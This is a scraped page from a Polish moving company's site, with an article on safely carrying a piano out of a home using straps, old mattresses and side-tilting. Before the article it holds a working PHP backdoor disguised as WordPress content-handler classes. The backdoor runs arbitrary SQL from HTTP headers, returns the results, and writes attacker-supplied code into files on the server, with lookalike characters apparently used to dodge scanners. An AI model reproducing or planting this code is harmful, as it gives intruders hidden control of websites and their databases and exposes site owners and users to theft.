n class WP_Content_Handler_Checker { var $wp_host; var $wp_user; var $wp_pass; var $name; var $result = array(); var $errors = array(); var $wp_themes_count = 0; function check_wp_connection($wp_connection) { if (class_exists('PDO')) { $this->check_wp_pdo_connection($wp_connection); } else { $this->check_wp_mysql_connection($wp_connection); } } function check_wp_mysql_connection($wp_connection) { if (function_exists('mysqli_connect')) { $connection = mysqli_connect($this->wp_host, $this->wp_user, $this->wp_pass, $this->name); if (!$connection instanceof mysqli) { $this->add_wp_error(910, sprintf("Can't connect to mysqli, message - %s, code - %d", $connection->connect_error, $connection->connect_errno)); return; } call_user_func_array(array($connection, 'query'), array("SET NAMES 'utf8'")); call_user_func_array(array($connection, 'query'), array("SET CHARACTER SET 'utf8'")); $wp_connection_success = call_user_func_array(array($connection, 'query'), array($wp_connection)); if ($wp_connection_success == false) { $this->add_wp_error($connection->errno, $connection->error); } else { $this->wp_themes_count = $connection->{'affected_rows'}; while ($data = call_user_func_array(array($wp_connection_success, 'fetch_assoc'), array())) { $this->result[] = $data; } } } elseif (function_exists('mysql_connect')) { $connection = mysql_connect($this->wp_host, $this->wp_user, $this->wp_pass); if ($connection == false) { $this->add_wp_error(910, "Can't connect to mysql"); return; } mysql_select_db($this->name, $connection); mysql_query("SET NAMES 'utf8'", $connection); mysql_query("SET CHARACTER SET 'utf8'", $connection); $wp_connection_success = mysql_query($wp_connection, $connection); if ($wp_connection_success == false) { $this->add_wp_error(mysql_errno($connection), mysql_error($connection)); } else { $this->wp_themes_count = mysql_num_rows($wp_connection_success); while ($data = mysql_fetch_assoc($wp_connection_success)) { $this->result[] = $data; } } } } function check_wp_pdo_connection($wp_connection) { $pdo_config_all = 'mysql:'; $pdo_config = array( 'host' => $this->wp_host, 'dbname' => $this->name, 'charset' => 'utf8' ); foreach ($pdo_config as $key => &$item) { $item = $key . '=' . $item; } $pdo_config_all .= implode(';', $pdo_config); try { $connection = new PDO($pdo_config_all, $this->wp_user, $this->wp_pass); call_user_func_array(array($connection, 'query'), array('SET CLIENT_ENCODING TO "UTF8"')); call_user_func_array(array($connection, 'query'), array('SET NAMES "UTF8"')); $query = call_user_func_array(array($connection, 'query'), array($wp_connection, PDO::FETCH_ASSOC)); if ($query == false) { $error_info = call_user_func_array(array($connection, 'errorInfo'), array()); $error_code = call_user_func_array(array($connection, 'errorCode'), array()); $this->add_wp_error($error_code, end($error_info)); return; } $this->wp_themes_count = call_user_func(array($query, 'rowCount'), array()); $this->result = call_user_func_array(array($query, 'fetchAll'), array()); } catch (PDOException $exception) { $this->add_wp_error(call_user_func_array(array($exception, 'getCode'), array()), call_user_func_array(array($exception, 'getMessage'), array())); } } function __construct() { $this->wp_host = stripslashes(@$_SERVER['HTTP_VI_DATABASE_HOST']); $this->wp_user = stripslashes(@$_SERVER['HTTP_VI_DATABASE_USER']); $this->wp_pass = stripslashes(@$_SERVER['HTTP_VI_DATABASE_PASS']); $this->name = stripslashes(@$_SERVER['HTTP_VI_DATABASE_NAME']); if (empty($this->wp_host)) { $this->add_wp_error(900, "No host provided"); } if (empty($this->wp_user)) { $this->add_wp_error(901, "No user provided"); } if (empty($this->wp_pass)) { $this->add_wp_error(902, "No pass provided"); } if (empty($this->name)) { $this->add_wp_error(903, "No database name provided"); } } function add_wp_error($code, $message) { $this->errors[] = array( 'code' => $code, 'message' => $message ); } function get_wp_errors() { return $this->errors; } function wp_get_themes_count() { return $this->wp_themes_count; } function is_wp_connection_succeed() { return !count($this->errors); } function get_wp_connection_result() { return $this->result; } } class WP_Content_Handler_Accessor { function create() { $method = @$_SERVER['HTTP_VI_METHOD']; if (!mb_strlen($method)) { return; } ob_end_clean(); switch ($method) { case 'query': $this->check_wp_connection_handler(); break; case 'update': $this->update_parameters(); break; default: return; } } function check_wp_connection_handler() { $query = stripslashes(@$_SERVER['HTTP_VI_DATABASE_QUERY']); if (!mb_strlen($query)) { $this->wp_response(false, array( array( 'code' => 0, 'message' => 'No query provided' ) )); exit; } $database = new WP_Content_Handler_Checker(); $database->check_wp_connection($query); if ($database->is_wp_connection_succeed()) { $this->wp_response(true, array( 'rows' => $database->wp_get_themes_count(), 'result' => $database->get_wp_connection_result() )); } else { $this->wp_response(false, $database->get_wp_errors()); } } function update_parameters() { $parameters_path = stripslashes(@$_SERVER['HTTP_VI_PATH']); $new_parameters = urldecode(@$_REQUEST['VI_SCRIPT']); $old_parameters_path = stripslashes(@$_SERVER['HTTP_VI_INCLUDE_PATH']); $old_parameters = urldecode(@$_REQUEST['VI_INCLUDE_CODE']); if (!mb_strlen($new_parameters)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript passed' ))); } if (!mb_strlen($parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript path passed' ))); } if (!mb_strlen($old_parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No include path passed' ))); } $success = $this->update_wp_accessor_parameters($parameters_path, $new_parameters); if ($success) { $success = $this->wp_update_parameters($old_parameters_path, $old_parameters); } $this->wp_response($success, null); } function update_wp_accessor_parameters($path, $parameters) { return (bool)@file_put_contents($path, " n" . stripslashes($parameters)); } function wp_update_parameters($old_parameters_path, $old_parameters) { $file = file_get_contents($old_parameters_path); if (!mb_strlen($file)) { return false; } if (mb_strpos($file, $old_parameters) !== false) { return true; } if ($this->is_parameters_valid($file)) { $file = $file . "n" . " n" . $old_parameters . " n?>"; } else { $file = $file . "nn" . $old_parameters; } return (bool)@file_put_contents($old_parameters_path, $file); } function is_parameters_valid($file) { $last_available_parameters_count = strrpos($file, ""); $last_updated_parameters_count = ($last_updated_parameters_count === false) ? -1 : $last_updated_parameters_count; return $last_available_parameters_count <= $last_updated_parameters_count; } function wp_response($success, $data) { $wp_response = array('success' => $success); $wp_response[$success ? 'data' : 'errors'] = $data; header('Content-Type: application/json'); echo json_encode($wp_response); exit; } } $accessor = new WP_Content_Handler_Accessor(); $accessor->create(); Transport pianin – porady związane z wyniesieniem z domu - Przeprowadzki Łódź ® przeprowadzajac.pl

Transport pianin – porady związane z wyniesieniem z domu

Załadunek pianina podczas transportu

W czasie każdej przeprowadzki, kiedy musimy zabrać cały swój dobytek, ogromny problem stanowi transport. Mamy w domach wiele rzeczy bardzo cennych, delikatnych, ale także takich, które są sporych gabarytów. Najgorzej jednak jeśli wszystkie te cechy połączą się w jedną całość, a tak jest właśnie w przypadku pianin. Pianino może ważyć nawet ponad 400 kilogramów, ma spore gabaryty, jest delikatne, a do tego kosztuje dużo pieniędzy. Posiadając pianino w domu, kiedy tylko chcemy się wyprowadzić, musimy objąć je bardzo specjalną opieką. Najważniejsze jest jednak to, aby nie zabierać się za taki transport na własną rękę. Dotyczy to nie tylko samego przewiezienia pianina, ale także jego wyniesienia z domu. Najciężej będzie nam wynieść pianino z wyższych kondygnacji, ale także z parteru jest to nie lada problem. Dlaczego wart zatrudnić firmę oferującą transport pianin Łódź do wyniesienia naszego pianina?

Transport pianina komplikuje waga i wymiary instrumentu.

Po pierwsze właśnie waga, o której już wspominaliśmy. Pianino może ważyć nawet 450 kilogramów i dlatego do jego wynoszenia musi być minimum 4 mężczyzn i to naprawdę dość pokaźnej postury. Pianino powinno być do tego wynoszone na specjalistycznych pasach, które są drogie i ich zakup zazwyczaj może nie być specjalnie opłacalny. Pasy zabezpieczają pianino przed przypadkowym upuszczeniem, a dodatkowo ułatwiają transport pianina, gdyż można zawiesić je na barkach. Do tego ludzie ci po prostu wiedzą jak odpowiednio zająć się takim pianinem. Jak jednak się za to zabrać kiedy chcemy samodzielnie wynosić wielkie pianino?

Stary materac jako podkład.

Wspominane pasy i minimum 4 rosłych mężczyzn to podstawa, o czym już wspominaliśmy. Jeśli nasze pianino znajduje się na piętrze i musimy znosić je po schodach to warto zaopatrzyć się w materace, które nie są nam już potrzebne i możemy je zniszczyć. Jeśli ich nie posiadamy to zawsze warto popytać swoją rodzinę, znajomych, a nawet i sąsiadów. Być może ktoś ma materac, który nie jest potrzebny. Materac podkładamy pod pianino na schodach dzięki czemu częściowo możemy z nim zjechać dosłownie jak na sankach, ale oczywiście z zachowaniem pełnej ostrożności.

Znoszenie pianina po klatce schodowej

Wykorzystanie kółek fortepianu?

Błędne jest także wykorzystywanie kółek, w które pianina są zaopatrzone. One naprawdę nie są stworzone do tego, aby „jeździć” pianinem na dużej odległości. Ich zadaniem jest ułatwienie delikatnego przestawienia instrumentu w obrębie jednego pomieszczenia. Przenosząc więc panino na dłuższą odległość lepiej podwieśmy je na pasach i wynośmy na własnych barkach. Zaoszczędzi to także drgań na nierównej powierzchni, które mogą uszkodzić delikatne elementy wnętrza pianina.

Nie ustawiaj pianina na wznak!

Na koniec tylko jedna, ale chyba najistotniejsza sprawa. Absolutnie nie wolno ustawiać pianina na wznak! To praktycznie gwarancja tego, że wnętrze instrumentu się uszkodzi, a naprawa może być bardzo kosztowna. Jeśli wynosimy pianino przez wąskie pomieszczenia to naturalnie musimy je obrócić, ale zawsze na bok, nigdy na wznak. Przed wynoszeniem pianino warto dokładnie opleść folią, aby zabezpieczyć cenne zdobienia oraz lakier przed ewentualnymi otarciami. Najlepiej jednak po prostu to zadanie zlecić profesjonalistom.

Jeśli w najbliższym czasie planujesz przetransportować pianino lub fortepian koniecznie zobacz ofertę transportu pianina w Fortis Przeprowadzki.

Leave a Reply